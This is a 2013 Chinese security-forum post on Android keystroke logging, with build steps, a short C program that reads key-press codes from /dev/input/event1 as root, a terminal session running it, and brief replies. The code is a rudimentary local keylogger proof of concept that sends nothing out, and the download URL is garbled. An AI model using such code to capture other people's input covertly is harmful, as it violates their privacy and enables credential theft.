首页
社区
课程
招聘
[原创]Android -- 键盘记录 研究及补充
发表于: 2013-12-12 18:06 16680

[原创]Android -- 键盘记录 研究及补充

2013-12-12 18:06
16680

鉴于之前看见的hacknet大哥写的帖子,很多人说编译不了,没有源码什么的,
我做了如下整理,在我的MOTO机器上运行可以了。
附上代码和操作步骤!

标 题: 【原创】Android操作系统安全研究系列——键盘记录
作 者: hacknet
时 间: 2011-07-04,11:15:52
链 接: http://bbs.pediy.com/showthread.php?t=136517

首先你得先安装
arm-none-linux-gnueabi-gcc
这东西
我是在ubuntu下的,所以命令操作就如下

wget d0cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4G2k6r3g2K6L8%4g2J5j5$3g2J5P5g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Y4M7s2m8Q4x3V1k6D9K9i4c8W2i4K6u0r3j5i4u0E0i4K6u0r3M7r3!0J5N6r3q4D9i4K6u0r3M7r3q4U0K9$3q4Y4k6e0b7#2y4K6q4Q4x3V1k6H3N6h3u0D9K9h3y4Q4x3V1k6S2M7X3#2Q4x3X3c8F1L8$3&6W2i4K6u0V1L8r3W2F1N6i4S2Q4x3X3c8Y4L8Y4g2W2j5h3u0A6i4K6u0r3j5i4u0E0i4K6u0V1x3U0l9H3z5i4p5I4i4K6u0V1x3U0l9K6i4K6u0V1j5i4u0E0i4K6u0V1L8X3!0F1k6g2)9J5k6r3I4A6L8Y4g2^5i4K6u0V1k6$3&6#2k6h3q4T1K9g2)9J5k6r3V1$3z5o6k6Q4x3X3c8H3j5#2)9J5k6r3I4A6L8Y4g2^5i4K6u0V1k6$3&6#2i4K6u0W2N6r3q4J5i4K6u0W2j5Y4Z5J5

然后
拷贝

sudo cp arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2 /usr/local

解压

sudo tar -jxvf arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2

设置环境变量

export PATH=$PATH:/usr/local/arm-2009q1/bin/

此设置方法不是 永久性的,永久性的你可以自己更改/etc/bash.bashrc文件

OK了,可以准备编译了。

代码如下:

#include <stdio.h>
#include <stddef.h>
#include <linux/input.h>
#include <fcntl.h>

static int event0_fd = -1;
struct input_event ev0[64];

static int handle_event0()
{

        int button , i, rd;

        button = 0;
       
        rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);

        printf("handle_event0 rd = %d  \n",rd);

     
        if ( rd < sizeof(struct input_event) )
        {
                 return 0;

        }

         printf("handle_event0 read OK ...\n");
     
        for (i = 0; i < rd / sizeof(struct input_event); i++)
        {
         if (ev0[i].type == 1&&ev0[i].value == 1)
                {
                        printf("Press Key: %3d\n", ev0[i].code);
              if (ev0[i].code == 158)
                           {
                                  printf("Press Key code: 158 ...\n");
                  return 0;
               }
         }
         
     }

         printf("Press Key: test ...\n");

      return 1;
  }

  int main(int argc, char* argv[])
{

          int done;

          done = 1;
      
          event0_fd = open("/dev/input/event1", O_RDWR);
      
          if ( event0_fd < 0 )
          {
                  return -1;
          
          }
      
          printf("Listening...\n");
      
          while(done)
          {
          done = handle_event0();
          }

          return 0;
}

然后

arm-none-linux-gnueabi-gcc -static key.c -o key



然后把生成的Key 给他PUSH到你的安卓鸡鸡上。



我这边是放在我的安卓鸡鸡路径的/dev/xxtest/目录下面

然后,按照下图这样的操作就完成了。



第一次写啊,高手莫砸哈。。。谢谢!

鉴于最后一张图不咋清晰,我把操作步骤复制出来了。

D:\Program Files\Shuame>adb shell
shell@edison:/ $ cd /dev/xxtest
cd /dev/xxtest
shell@edison:/dev/xxtest $ ll
ll
-rw-rw-rw- shell    shell      588392 2013-12-12 16:22 key
shell@edison:/dev/xxtest $

shell@edison:/dev/xxtest $

shell@edison:/dev/xxtest $ su
su
root@edison:/dev/xxtest #

root@edison:/dev/xxtest # ll
ll
-rw-rw-rw- shell    shell      588392 2013-12-12 16:22 key
root@edison:/dev/xxtest #

root@edison:/dev/xxtest #

root@edison:/dev/xxtest # chmod 777 key
chmod 777 key
root@edison:/dev/xxtest #

root@edison:/dev/xxtest #

root@edison:/dev/xxtest # ll
ll
-rwxrwxrwx shell    shell      588392 2013-12-12 16:22 key
root@edison:/dev/xxtest #

root@edison:/dev/xxtest #

root@edison:/dev/xxtest # ./key
./key
Listening...
handle_event0 rd = 32
handle_event0 read OK ...
Press Key: test ...
handle_event0 rd = 32
handle_event0 read OK ...
Press Key: test ...
handle_event0 rd = 48

补充下:

event0_fd = open("/dev/input/event1", O_RDWR);

这个代码有时候需要改,因为之前那位大哥写的是event0,可是我一直没显示输出。最后我进入我的手机安卓系统,用getevent命令查看,才发现我的是event1,所以就改了下。

就是如何查看event多少呢?

打开CMD
然后输入
adb shell

然后
su

然后
getevent

就可以看见是event几了。。。

好叻。收尾。。。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 5
支持
分享
最新回复 (9)
雪    币: 2573
活跃值: (4323)
能力值: ( LV13,RANK:540 )
在线值:
发帖
回帖
粉丝
2
嘿嘿~~
2013-12-12 20:35
0
雪    币: 33
活跃值: (58)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
psr
3
嘿嘿嘿嘿嘿嘿
2013-12-12 20:54
0
雪    币: 32
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
读取到的是整个屏幕的触屏信息吧?
2013-12-18 11:39
0
雪    币: 33
活跃值: (58)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
psr
5
是的,不过只有在输入的时候才有,没输入点屏幕没输出的
2013-12-19 10:52
0
雪    币: 33
活跃值: (58)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
psr
6
求加精啊。。。
2013-12-19 14:38
0
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
俄罗斯有款很牛的。
2013-12-24 21:27
0
雪    币: 33
活跃值: (58)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
psr
8
哪个?求推荐
2014-1-15 14:37
0
雪    币: 362
活跃值: (25)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
9
为什么不直接:adb shell getevent /dev/input/event1呢?
2014-2-24 14:28
0
雪    币: 1585
活跃值: (192)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
很好,支持
2014-3-6 14:42
0
游客
登录 | 注册 方可回帖
返回